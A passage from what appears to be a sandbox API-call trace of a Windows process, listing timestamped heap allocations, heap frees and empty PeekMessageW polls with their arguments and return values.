lpMem=0xed7d18 | out: hHeap=0xe80000) returned 1 [0135.028] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0135.028] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0135.028] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec810 [0135.028] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.029] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec810 | out: hHeap=0xe80000) returned 1 [0135.029] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.029] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0135.029] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0135.029] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.029] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.029] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0135.029] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0135.029] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec590 [0135.029] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.029] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec590 | out: hHeap=0xe80000) returned 1 [0135.029] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.030] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9eb8 [0135.030] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10779f0 [0135.030] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0135.030] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0135.030] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.030] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf548 [0135.030] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7d18 [0135.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf548 | out: hHeap=0xe80000) returned 1 [0135.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7d18 | out: hHeap=0xe80000) returned 1 [0135.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0135.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0135.030] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10779c0 [0135.030] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba110 [0135.030] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3c8 [0135.030] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077a38 [0135.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10779c0 | out: hHeap=0xe80000) returned 1 [0135.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10779f0 | out: hHeap=0xe80000) returned 1 [0135.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9eb8 | out: hHeap=0xe80000) returned 1 [0135.031] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba110 | out: hHeap=0xe80000) returned 1 [0135.031] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0135.031] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077a38 | out: hHeap=0xe80000) returned 1 [0135.031] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.031] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.031] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0135.031] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0135.031] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.031] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.031] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0135.031] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0135.031] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0135.031] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.031] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0135.031] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.031] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0135.031] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0135.032] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7d18 [0135.032] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7d18 | out: hHeap=0xe80000) returned 1 [0135.032] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0135.032] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0135.032] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec590 [0135.032] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.032] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec590 | out: hHeap=0xe80000) returned 1 [0135.032] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.032] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0135.032] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0135.032] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.032] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.032] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0135.033] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0135.033] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0135.033] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.033] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec650 | out: hHeap=0xe80000) returned 1 [0135.033] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.033] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0135.033] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0135.033] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.033] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.033] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0135.033] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0135.034] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecad0 [0135.034] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.034] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeecad0 | out: hHeap=0xe80000) returned 1 [0135.034] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.034] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0135.034] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0135.034] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.034] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.034] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0135.034] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0135.034] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0135.034] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.035] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec650 | out: hHeap=0xe80000) returned 1 [0135.035] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.035] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0135.035] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0135.035] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7d18 [0135.035] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7d18 | out: hHeap=0xe80000) returned 1 [0135.035] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0135.035] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0135.035] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec7d0 [0135.035] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.035] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba110 [0135.035] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b10 [0135.035] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3c8 [0135.036] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b10 | out: hHeap=0xe80000) returned 1 [0135.036] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba1d8 [0135.036] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077bd0 [0135.036] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077bb8 [0135.036] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.036] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0135.036] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0135.036] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.036] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba4d0 [0135.036] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b58 [0135.036] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf428 [0135.036] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b58 | out: hHeap=0xe80000) returned 1 [0135.036] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec2338 [0135.036] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b70 [0135.036] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b88 [0135.036] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf548 [0135.036] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b88 | out: hHeap=0xe80000) returned 1 [0135.036] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b40 [0135.036] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf548 | out: hHeap=0xe80000) returned 1 [0135.036] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.037] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba4f8 [0135.037] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b88 [0135.037] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf548 [0135.037] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf548 | out: hHeap=0xe80000) returned 1 [0135.037] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b88 | out: hHeap=0xe80000) returned 1 [0135.037] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba4f8 | out: hHeap=0xe80000) returned 1 [0135.037] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.038] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec7d0 | out: hHeap=0xe80000) returned 1 [0135.038] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.038] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf548 [0135.038] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9b8 [0135.038] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.038] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.038] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9b8 | out: hHeap=0xe80000) returned 1 [0135.038] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf548 | out: hHeap=0xe80000) returned 1 [0135.039] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0135.039] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.039] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec650 | out: hHeap=0xe80000) returned 1 [0135.039] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.039] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf548 [0135.039] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa18 [0135.039] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.040] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.040] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa18 | out: hHeap=0xe80000) returned 1 [0135.040] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf548 | out: hHeap=0xe80000) returned 1 [0135.040] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec3d0 [0135.040] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.040] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec3d0 | out: hHeap=0xe80000) returned 1 [0135.040] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.040] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf548 [0135.040] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf898 [0135.040] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.040] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.041] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf898 | out: hHeap=0xe80000) returned 1 [0135.041] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf548 | out: hHeap=0xe80000) returned 1 [0135.041] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec7d0 [0135.041] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.041] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec7d0 | out: hHeap=0xe80000) returned 1 [0135.041] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.041] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf548 [0135.041] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf958 [0135.041] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7d18 [0135.041] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7d18 | out: hHeap=0xe80000) returned 1 [0135.041] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf958 | out: hHeap=0xe80000) returned 1 [0135.041] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf548 | out: hHeap=0xe80000) returned 1 [0135.041] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec3d0 [0135.041] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.042] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec3d0 | out: hHeap=0xe80000) returned 1 [0135.042] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf548 [0135.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9f8 [0135.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7d18 [0135.042] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7d18 | out: hHeap=0xe80000) returned 1 [0135.042] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9f8 | out: hHeap=0xe80000) returned 1 [0135.042] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf548 | out: hHeap=0xe80000) returned 1 [0135.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0135.042] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba6d8 [0135.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077c30 [0135.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf548 [0135.042] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077c30 | out: hHeap=0xe80000) returned 1 [0135.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba598 [0135.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077c30 [0135.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10779f0 [0135.042] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba5e8 [0135.043] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b10 | out: hHeap=0xe80000) returned 1 [0135.043] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10779c0 | out: hHeap=0xe80000) returned 1 [0135.043] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9d8 | out: hHeap=0xe80000) returned 1 [0135.043] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.043] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf958 | out: hHeap=0xe80000) returned 1 [0135.043] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.043] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa18 | out: hHeap=0xe80000) returned 1 [0135.043] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077a38 | out: hHeap=0xe80000) returned 1 [0135.043] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba688 | out: hHeap=0xe80000) returned 1 [0135.043] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.044] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0135.044] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.044] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9b8 | out: hHeap=0xe80000) returned 1 [0135.044] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7d18 | out: hHeap=0xe80000) returned 1 [0135.044] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.044] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa08 | out: hHeap=0xe80000) returned 1 [0135.044] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0135.044] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b58 | out: hHeap=0xe80000) returned 1 [0135.044] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b28 | out: hHeap=0xe80000) returned 1 [0135.044] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba688 | out: hHeap=0xe80000) returned 1 [0135.044] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba700 | out: hHeap=0xe80000) returned 1 [0135.044] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0135.044] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077a38 | out: hHeap=0xe80000) returned 1 [0135.044] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.044] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.044] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.045] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0135.045] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa38 | out: hHeap=0xe80000) returned 1 [0135.045] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.045] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec650 | out: hHeap=0xe80000) returned 1 [0135.045] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.045] HeapFree (in: hHeap=0xe80000, 